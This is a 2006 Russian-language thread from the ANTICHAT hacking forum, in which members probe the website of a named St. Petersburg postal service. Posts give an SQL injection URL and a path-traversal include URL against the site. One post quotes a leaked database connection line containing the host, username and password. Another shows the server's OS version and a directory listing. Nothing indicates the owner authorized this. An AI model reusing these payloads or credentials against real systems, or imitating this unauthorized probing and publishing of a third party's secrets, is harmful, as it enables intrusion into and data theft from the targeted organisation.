HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Sql инъекция на www.spbpost.ru
  #1  
Старый 02.04.2006, 15:10
Mobile
Регистрация: 18.02.2006
Сообщений: 1,090
С нами: 10644806

Репутация: 1564


По умолчанию Sql инъекция на www.spbpost.ru

http://www.spbpost.ru/spbpost.php?id=foto&di='1'
 
Ответить с цитированием

  #2  
Старый 02.04.2006, 15:13
tclover
Banned
Регистрация: 13.12.2005
Сообщений: 1,091
С нами: 10741286

Репутация: 1847


По умолчанию

_____http://www.spbpost.ru/spbpost/foto.inc

Последний раз редактировалось Trampled_clover; 02.04.2006 в 16:59..
 
Ответить с цитированием

  #3  
Старый 02.04.2006, 15:19
Mobile
Регистрация: 18.02.2006
Сообщений: 1,090
С нами: 10644806

Репутация: 1564


По умолчанию

http://www.spbpost.ru/spbpost/
Права на директорию неправильно выставлены
 
Ответить с цитированием

  #4  
Старый 02.04.2006, 15:58
drmist
Green member - Level 3
Регистрация: 08.10.2005
Сообщений: 396
С нами: 10836326

Репутация: 239
По умолчанию

$link=mysql_connect('192.168.48.1','bduser','user1 253');

0_o
)))
__________________
Никому нельзя верить...
 
Ответить с цитированием

  #5  
Старый 02.04.2006, 16:13
Mobile
Регистрация: 18.02.2006
Сообщений: 1,090
С нами: 10644806

Репутация: 1564


По умолчанию

Цитата:
Сообщение от drmist  
$link=mysql_connect('192.168.48.1','bduser','user1 253');
По подробней пожалуйста...
 
Ответить с цитированием

  #6  
Старый 02.04.2006, 16:36
virgoz
Участник форума
Регистрация: 16.09.2004
Сообщений: 193
С нами: 11393666

Репутация: 47
По умолчанию

Там и инклуды:
_http://spbpost.ru/news.php?id=../../../../../../inc
Жалко 0-байт не канает.

Последний раз редактировалось virgoz; 02.04.2006 в 17:16..
 
Ответить с цитированием

  #7  
Старый 02.04.2006, 16:48
drmist
Green member - Level 3
Регистрация: 08.10.2005
Сообщений: 396
С нами: 10836326

Репутация: 239
По умолчанию

Mobile
по подробней?
читай второй пост - это оттуда.
__________________
Никому нельзя верить...
 
Ответить с цитированием

  #8  
Старый 02.04.2006, 16:55
drmist
Green member - Level 3
Регистрация: 08.10.2005
Сообщений: 396
С нами: 10836326

Репутация: 239
По умолчанию

Кстати. Зачем рефереров оставляете?
__________________
Никому нельзя верить...
 
Ответить с цитированием

  #9  
Старый 02.04.2006, 17:34
m0nzt3r
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
С нами: 11517446

Репутация: 2258


По умолчанию

Цитата:
$link=mysql_connect('192.168.48.1','bduser','user1 253');
значит мускул не на localhost-е)
__________________
Elite VPN from Green. Quality. Click and buy!!!

Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
 
Ответить с цитированием

  #10  
Старый 02.04.2006, 17:41
Utochka
Постоянный
Регистрация: 21.12.2005
Сообщений: 620
С нами: 10729766

Репутация: 268


По умолчанию

да че вы с эти мускулом, я вот уже ось узнал
FreeBSD postwall.spbpost.ru 5.0-RELEASE

а вот список файлов в папке ))

1626891 drwxr-xr-x 3 spbpost wwwadmin 512 26.09.2005 17:57 cod
1627115 drwxr-xr-x 2 spbpost wwwadmin 512 12.12.2005 17:54 files
1627196 drwxr-xr-x 10 spbpost wwwadmin 2048 22.03.2006 12:21 images
1889411 drwxr-xr-x 3 spbpost wwwadmin 2048 27.03.2006 15:18 news
1889427 drwxr-xr-x 2 spbpost wwwadmin 512 11.11.2005 18:06 other
1889429 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 partner
1889431 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 pravila
1889433 drwxr-xr-x 2 spbpost wwwadmin 512 27.09.2005 20:17 service
1889445 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 spbpost
1889464 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 tarif
1889475 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 vakans
1634973 drwxr-xr-x 6 spbpost wwwadmin 1536 27.02.2006 13:42 test
1627202 -rw-r--r-- 1 spbpost wwwadmin 22 26.09.2005 19:45 test.php
1627284 -rw-r--r-- 1 spbpost wwwadmin 203 24.09.2005 20:04 in.php
1627285 -rw-r--r-- 1 spbpost wwwadmin 198 11.11.2005 17:13 index.php
1627286 -rw-r--r-- 1 spbpost wwwadmin 211 24.10.2005 16:26 news.php
1627287 -rw-r--r-- 1 spbpost wwwadmin 203 24.09.2005 20:04 partner.php
1627288 -rw-r--r-- 1 spbpost wwwadmin 203 24.09.2005 20:04 pravila.php
1627289 -rw-r--r-- 1 spbpost wwwadmin 203 24.09.2005 20:04 spbpost.php
1627297 -rw-r--r-- 1 spbpost wwwadmin 201 24.09.2005 20:04 tarif.php
1627382 -rw-r--r-- 1 spbpost wwwadmin 202 24.09.2005 20:04 vakans.php
1642797 drwxr-xr-x 4 spbpost wwwadmin 512 13.02.2006 20:08 podp
1627476 -rw-r--r-- 1 spbpost wwwadmin 24 11.11.2005 16:02 .htaccess
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.